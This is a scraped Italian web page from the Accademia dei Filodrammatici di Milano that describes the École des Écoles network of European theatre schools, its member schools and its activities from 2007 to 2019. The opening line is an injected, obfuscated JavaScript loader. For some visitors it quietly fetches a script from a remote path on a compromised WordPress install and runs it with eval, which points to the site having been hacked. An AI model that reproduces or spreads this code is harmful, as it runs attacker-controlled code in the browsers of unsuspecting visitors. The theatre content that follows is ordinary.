;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//accademiadeifilodrammatici.it/restyling/wp-admin/css/css.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

École des écoles

img_ecole_top

École des écoles

 

L’Accademia dei Filodrammatici fa parte dell’associazione di scuole École des Écoles nata nel 2006.
L’Accademia dei Filodrammatici di Milano ne è stata uno dei membri fondatori.

Questa “scuola delle scuole” vuole porsi come un ambito di confronto e progettazione comune tra i diversi membri.
L’obiettivo è quello di offrire una dimensione europea alla formazione e al perfezionamento professionale dei giovani artisti e tecnici del teatro; fornire occasioni di scambio e di aggiornamento ai docenti delle scuole teatrali; favorire la conoscenza e lo scambio di culture e tecniche di diversa origine; concorrere a una migliore conoscenza delle drammaturgie e degli spettacoli nelle singole realtà territoriali e nazionali; studiare e promuovere progetti congiunti che vedano coinvolti insieme allievi e docenti delle varie scuole.

Ad oggi le scuole che ne fanno parte sono:

- ENSATT École Nationale Supérieure des Arts et Techniques du Théâtre di Lione;

- TNS École du Thêatre National de Strasbourg;

- Guildhall School of Music & Drama di Londra;

- RESAD Real Escuela de Arte Dramatico di Madrid;

- Manufacture di Losanna;

- ZHdK Zürcher Hochschule der Künste di Zurigo;

- INSAS Institut Supérieur des Arts di Bruxelles;

- DDSKS Den Danske Scenekunst Skole di Copenaghen;

- LMTA Lietuvos Muzikos ir Teatro Akademija di Vilnius;

- Kunsthøgskolen di Oslo;

- ESTC Escola Superior de Teatro e Cinema di Lisbona;

- Theaterakademie HFMT - Hochschule für Musik und Theater Hamburg (la cui direttrice Sabina Dhein è attualmente il presidente dell’associazione);

- Academy of Theatre and Dance di Amsterdam;

- ArtsEZ University of the Arts di Arnhem;

- Universitatea de arte din Targu Mures;

-  Folkwang Universität der Künste, Essen.

- Accademia dei Filodrammatici di Milano.

 

Le attività finora organizzate sono state incontri teorici, pratici e organizzativi sui seguenti temi:

- 2007, Lione - festival degli spettacoli delle scuole

- 2007, Berlino - confronto tra diverse tecniche usate dagli insegnanti di movimento

- 2007, Milano - incontri per far conoscere a pubblico e operatori teatrali la produzione più recente di aree linguistiche diverse

- 2008, Barcellona - rapporto tra insegnamento e ricerca artistica

- 2008, Copenaghen - studio di diversi approcci a uno stesso testo

- 2008, Lione/Madrid - incontri sulla drammaturgia per verificare le modalità di insegnamento della scrittura scenica

- 2009, Vilnius - festival degli spettacoli creati dalle scuole su un tema comune in occasione delle celebrazioni per Vilnius Città della Cultura

- 2010, Londra - confronto tra le scuole di teatro per elaborare una visione etica comune

- 2011, Milano - incontri per far conoscere a pubblico e operatori teatrali la produzione più recente di aree linguistiche diverse

- 2012, Bruxelles - progetto "From page to stage" condotto da insegnanti dell'École e allievi dell'INSAS di Bruxelles

- 2013, Milano - confronto tra diverse tecniche usate dagli insegnanti di movimento

- 2013, Copenaghen - seminario sull'improvvisazione

- 2014, Strasburgo - laboratorio su maschera e costume

- 2014, Vilnius - riflessioni sulle possibili nuove metodologie nella formazione dell'attore

- 2015, Bruxelles - "The story - telling potential of images in the performance space"

- 2015, Copenaghen - "Theatre and partecipation"

- 2015, Lisbona - "Rethinking teacher-student relation"

- 2016, Amburgo - “Who am I, when I am teaching? Role – Self partecipation – Teaching process"

- 2016, Zurigo - Workshop sugli stimoli alla creatività

- 2017, Losanna - "Awareness and stage presence"

- 2017, Londra - "How can we play when we teach?"

- 2018, Barcellona - "Shadows: the split acting"

- 2018, Copenaghen - Assemblea generale e revisione degli statuti

- 2019, Amsterdam Bergen - "Common values around learning"

- 2019, Lisbona - Assemblea generale ed elezione del nuovo Presidente